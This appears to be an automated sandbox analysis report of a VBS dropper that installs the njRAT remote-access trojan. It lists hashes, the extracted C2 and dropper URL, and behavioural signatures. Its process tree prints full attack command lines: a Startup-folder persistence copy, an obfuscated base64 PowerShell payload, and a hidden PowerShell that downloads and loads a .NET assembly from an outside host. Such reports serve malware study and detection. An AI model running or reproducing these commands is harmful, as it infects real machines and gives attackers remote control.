Analysis

  • max time kernel
    300s
  • max time network
    304s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    04-01-2022 17:37

General

  • Target

    Aviso_importante_para_dar_mejor_aclaración_del_cobro_jurídico_ver.vbs

  • Size

    151KB

  • MD5

    375043101c2b371e5db90b0abdb0379d

  • SHA1

    8ca125b715a2f166ae8d24c87264f9beb4ddda6b

  • SHA256

    fffd645e0ed3e653627764842ea17cb464bae80ef48ddb3dbe54d1eddf6b1bb9

  • SHA512

    582ad71b82c9fd666a5c26738264aded5d226e1a2417f30e55f4b258c3c111caf18b15dcf9d0ffb48c1fa96a996a845cd9e64357925b0f29939252085d6ff416

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.49/ramdes/DownloaderF3.txt

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

revg.duckdns.org:57831

Mutex

ebef4abe57d24e8

Attributes
  • reg_key

    ebef4abe57d24e8

  • splitter

    @!#&^%$

Signatures

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)

    suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)

  • Blocklisted process makes network request 1 IoCs
  • Drops startup file 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Aviso_importante_para_dar_mejor_aclaración_del_cobro_jurídico_ver.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3380
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Aviso_importante_para_dar_mejor_aclaración_del_cobro_jurídico_ver.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ RRQ.vbs')
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3752
      • C:\Windows\system32\PING.EXE
        ping 127.0.0.1 -n 10
        3⤵
        • Runs ping.exe
        PID:3076
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Aviso_importante_para_dar_mejor_aclaración_del_cobro_jurídico_ver.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ RRQ.vbs')
        3⤵
        • Drops startup file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3976
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC☙Hk☙d☙Bl☙Fs☙XQBd☙C☙☙J☙BE☙Ew☙T☙☙g☙D0☙I☙Bb☙FM☙eQBz☙HQ☙ZQBt☙C4☙QwBv☙G4☙dgBl☙HI☙d☙Bd☙Do☙OgBG☙HI☙bwBt☙EI☙YQBz☙GU☙Ng☙0☙FM☙d☙By☙Gk☙bgBn☙Cg☙K☙BO☙GU☙dw☙t☙E8☙YgBq☙GU☙YwB0☙C☙☙TgBl☙HQ☙LgBX☙GU☙YgBD☙Gw☙aQBl☙G4☙d☙☙p☙C4☙R☙Bv☙Hc☙bgBs☙G8☙YQBk☙FM☙d☙By☙Gk☙bgBn☙Cg☙JwBo☙HQ☙d☙Bw☙Do☙Lw☙v☙Dk☙MQ☙u☙DI☙N☙☙x☙C4☙MQ☙5☙C4☙N☙☙5☙C8☙cgBh☙G0☙Z☙Bl☙HM☙LwBE☙G8☙dwBu☙Gw☙bwBh☙GQ☙ZQBy☙EY☙Mw☙u☙HQ☙e☙B0☙Cc☙KQ☙p☙Ds☙WwBT☙Hk☙cwB0☙GU☙bQ☙u☙EE☙c☙Bw☙EQ☙bwBt☙GE☙aQBu☙F0☙Og☙6☙EM☙dQBy☙HI☙ZQBu☙HQ☙R☙Bv☙G0☙YQBp☙G4☙LgBM☙G8☙YQBk☙Cg☙J☙BE☙Ew☙T☙☙p☙C4☙RwBl☙HQ☙V☙B5☙H☙☙ZQ☙o☙Cc☙QwBs☙GE☙cwBz☙Ew☙aQBi☙HI☙YQBy☙Hk☙Mw☙u☙EM☙b☙Bh☙HM☙cw☙x☙Cc☙KQ☙u☙Ec☙ZQB0☙E0☙ZQB0☙Gg☙bwBk☙Cg☙JwBS☙HU☙bg☙n☙Ck☙LgBJ☙G4☙dgBv☙Gs☙ZQ☙o☙CQ☙bgB1☙Gw☙b☙☙s☙C☙☙WwBv☙GI☙agBl☙GM☙d☙Bb☙F0☙XQ☙g☙Cg☙JwB0☙Hg☙d☙☙u☙DQ☙cwBu☙C8☙d☙Bz☙GU☙d☙☙v☙Dk☙N☙☙u☙Dk☙MQ☙u☙DE☙N☙☙y☙C4☙MQ☙5☙C8☙Lw☙6☙H☙☙d☙B0☙Gg☙Jw☙p☙Ck☙';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('☙','A') ) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4456
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/ramdes/DownloaderF3.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.4sn/tset/94.91.142.19//:ptth'))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3096
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          4⤵
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of AdjustPrivilegeToken
          PID:1544

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    MD5

    c6b0a774fa56e0169ed7bb7b25c114dd

    SHA1

    bcdba7d4ecfff2180510850e585b44691ea81ba5

    SHA256

    b87210c4a0814394371ec7fba00fc02d9adbb22bcb1811a2abab46fdf4325da9

    SHA512

    42295d57f735c31749235c8463ac2c31778bff46a6a16c87918440d0b2fc70d2f1f6fb10d2499105866f7022108bbda4268d2580356245bd19bbed1ee3a2c446

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    MD5

    269f57a12a6488987deb408ba69b46e2

    SHA1

    636ddfff17659f4c547c0149f934b69d9910b25d

    SHA256

    b563ea8391e80c1cee60a076396e7befd0957b335a6f73fe0f2e898296c6001b

    SHA512

    6de4eac4d310f8d52a99ee055ef9a9da61d89eb215edc917e51fdb4af28534732c149d9ab33929f77b2524621948720397c322ce6348ab1ffb159bb6a711409f

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    MD5

    223a05cfe231f69fafc4878b9e804a4c

    SHA1

    9e90c30a33c8e2ddbb6246c37d567fd36db11223

    SHA256

    f2e6a9ec22cb8e3af31c8600ab109b76e17386fe8cd41f70ff67af4a91dec221

    SHA512

    02280c1479baa0a85476c74a6d661ffb9db71fe1c2eb321e42dcfbfcab684210604ba1cf83314d6bfcce04ec0c4d1e20e17a487dc6373c7e63b60f6eddb09499

  • memory/1544-185-0x0000000000400000-0x000000000040C000-memory.dmp

    Filesize

    48KB

  • memory/1544-180-0x000000000040676E-mapping.dmp

  • memory/1544-184-0x0000000000400000-0x000000000040C000-memory.dmp

    Filesize

    48KB

  • memory/1544-192-0x0000000005620000-0x0000000005686000-memory.dmp

    Filesize

    408KB

  • memory/1544-187-0x0000000005200000-0x000000000529C000-memory.dmp

    Filesize

    624KB

  • memory/1544-179-0x0000000000400000-0x000000000040C000-memory.dmp

    Filesize

    48KB

  • memory/1544-188-0x00000000057A0000-0x0000000005C9E000-memory.dmp

    Filesize

    5.0MB

  • memory/1544-189-0x0000000005400000-0x0000000005492000-memory.dmp

    Filesize

    584KB

  • memory/1544-190-0x0000000005160000-0x00000000051FC000-memory.dmp

    Filesize

    624KB

  • memory/1544-191-0x00000000053A0000-0x00000000053AA000-memory.dmp

    Filesize

    40KB

  • memory/3076-116-0x0000000000000000-mapping.dmp

  • memory/3096-156-0x000001C9B8240000-0x000001C9B8242000-memory.dmp

    Filesize

    8KB

  • memory/3096-162-0x000001C9B8240000-0x000001C9B8242000-memory.dmp

    Filesize

    8KB

  • memory/3096-177-0x000001C9D4450000-0x000001C9D445C000-memory.dmp

    Filesize

    48KB

  • memory/3096-174-0x000001C9D2140000-0x000001C9D2142000-memory.dmp

    Filesize

    8KB

  • memory/3096-175-0x000001C9D2143000-0x000001C9D2145000-memory.dmp

    Filesize

    8KB

  • memory/3096-173-0x000001C9B8240000-0x000001C9B8242000-memory.dmp

    Filesize

    8KB

  • memory/3096-167-0x000001C9B8240000-0x000001C9B8242000-memory.dmp

    Filesize

    8KB

  • memory/3096-166-0x000001C9D44D0000-0x000001C9D4546000-memory.dmp

    Filesize

    472KB

  • memory/3096-164-0x000001C9B8240000-0x000001C9B8242000-memory.dmp

    Filesize

    8KB

  • memory/3096-165-0x000001C9B8240000-0x000001C9B8242000-memory.dmp

    Filesize

    8KB

  • memory/3096-163-0x000001C9B8240000-0x000001C9B8242000-memory.dmp

    Filesize

    8KB

  • memory/3096-153-0x0000000000000000-mapping.dmp

  • memory/3096-160-0x000001C9B8240000-0x000001C9B8242000-memory.dmp

    Filesize

    8KB

  • memory/3096-159-0x000001C9D4120000-0x000001C9D4142000-memory.dmp

    Filesize

    136KB

  • memory/3096-181-0x000001C9B8240000-0x000001C9B8242000-memory.dmp

    Filesize

    8KB

  • memory/3096-158-0x000001C9B8240000-0x000001C9B8242000-memory.dmp

    Filesize

    8KB

  • memory/3096-157-0x000001C9B8240000-0x000001C9B8242000-memory.dmp

    Filesize

    8KB

  • memory/3096-176-0x000001C9D2146000-0x000001C9D2148000-memory.dmp

    Filesize

    8KB

  • memory/3096-155-0x000001C9B8240000-0x000001C9B8242000-memory.dmp

    Filesize

    8KB

  • memory/3096-154-0x000001C9B8240000-0x000001C9B8242000-memory.dmp

    Filesize

    8KB

  • memory/3096-178-0x000001C9D4460000-0x000001C9D447C000-memory.dmp

    Filesize

    112KB

  • memory/3752-115-0x0000000000000000-mapping.dmp

  • memory/3976-122-0x000001EC01BA0000-0x000001EC01BA2000-memory.dmp

    Filesize

    8KB

  • memory/3976-117-0x0000000000000000-mapping.dmp

  • memory/3976-148-0x000001EC01D86000-0x000001EC01D88000-memory.dmp

    Filesize

    8KB

  • memory/3976-147-0x000001EC01D83000-0x000001EC01D85000-memory.dmp

    Filesize

    8KB

  • memory/3976-146-0x000001EC01D80000-0x000001EC01D82000-memory.dmp

    Filesize

    8KB

  • memory/3976-119-0x000001EC01BA0000-0x000001EC01BA2000-memory.dmp

    Filesize

    8KB

  • memory/3976-118-0x000001EC01BA0000-0x000001EC01BA2000-memory.dmp

    Filesize

    8KB

  • memory/3976-120-0x000001EC01BA0000-0x000001EC01BA2000-memory.dmp

    Filesize

    8KB

  • memory/3976-121-0x000001EC01BA0000-0x000001EC01BA2000-memory.dmp

    Filesize

    8KB

  • memory/3976-131-0x000001EC01BA0000-0x000001EC01BA2000-memory.dmp

    Filesize

    8KB

  • memory/3976-123-0x000001EC1BF70000-0x000001EC1BF92000-memory.dmp

    Filesize

    136KB

  • memory/3976-124-0x000001EC01BA0000-0x000001EC01BA2000-memory.dmp

    Filesize

    8KB

  • memory/3976-126-0x000001EC01BA0000-0x000001EC01BA2000-memory.dmp

    Filesize

    8KB

  • memory/3976-125-0x000001EC01BA0000-0x000001EC01BA2000-memory.dmp

    Filesize

    8KB

  • memory/3976-127-0x000001EC01BA0000-0x000001EC01BA2000-memory.dmp

    Filesize

    8KB

  • memory/3976-128-0x000001EC1C120000-0x000001EC1C196000-memory.dmp

    Filesize

    472KB

  • memory/3976-129-0x000001EC01BA0000-0x000001EC01BA2000-memory.dmp

    Filesize

    8KB

  • memory/4456-132-0x0000000000000000-mapping.dmp

  • memory/4456-151-0x000002512F3B0000-0x000002512F3B2000-memory.dmp

    Filesize

    8KB

  • memory/4456-150-0x000002512F3D3000-0x000002512F3D5000-memory.dmp

    Filesize

    8KB

  • memory/4456-149-0x000002512F3D0000-0x000002512F3D2000-memory.dmp

    Filesize

    8KB

  • memory/4456-145-0x000002514B490000-0x000002514B506000-memory.dmp

    Filesize

    472KB

  • memory/4456-144-0x000002512F3B0000-0x000002512F3B2000-memory.dmp

    Filesize

    8KB

  • memory/4456-143-0x000002512F3B0000-0x000002512F3B2000-memory.dmp

    Filesize

    8KB

  • memory/4456-183-0x000002512F3B0000-0x000002512F3B2000-memory.dmp

    Filesize

    8KB

  • memory/4456-142-0x000002512F3B0000-0x000002512F3B2000-memory.dmp

    Filesize

    8KB

  • memory/4456-141-0x000002512F3B0000-0x000002512F3B2000-memory.dmp

    Filesize

    8KB

  • memory/4456-186-0x000002512F3D6000-0x000002512F3D8000-memory.dmp

    Filesize

    8KB

  • memory/4456-140-0x00000251312E0000-0x0000025131302000-memory.dmp

    Filesize

    136KB

  • memory/4456-138-0x000002512F3B0000-0x000002512F3B2000-memory.dmp

    Filesize

    8KB

  • memory/4456-137-0x000002512F3B0000-0x000002512F3B2000-memory.dmp

    Filesize

    8KB

  • memory/4456-136-0x000002512F3B0000-0x000002512F3B2000-memory.dmp

    Filesize

    8KB

  • memory/4456-135-0x000002512F3B0000-0x000002512F3B2000-memory.dmp

    Filesize

    8KB

  • memory/4456-134-0x000002512F3B0000-0x000002512F3B2000-memory.dmp

    Filesize

    8KB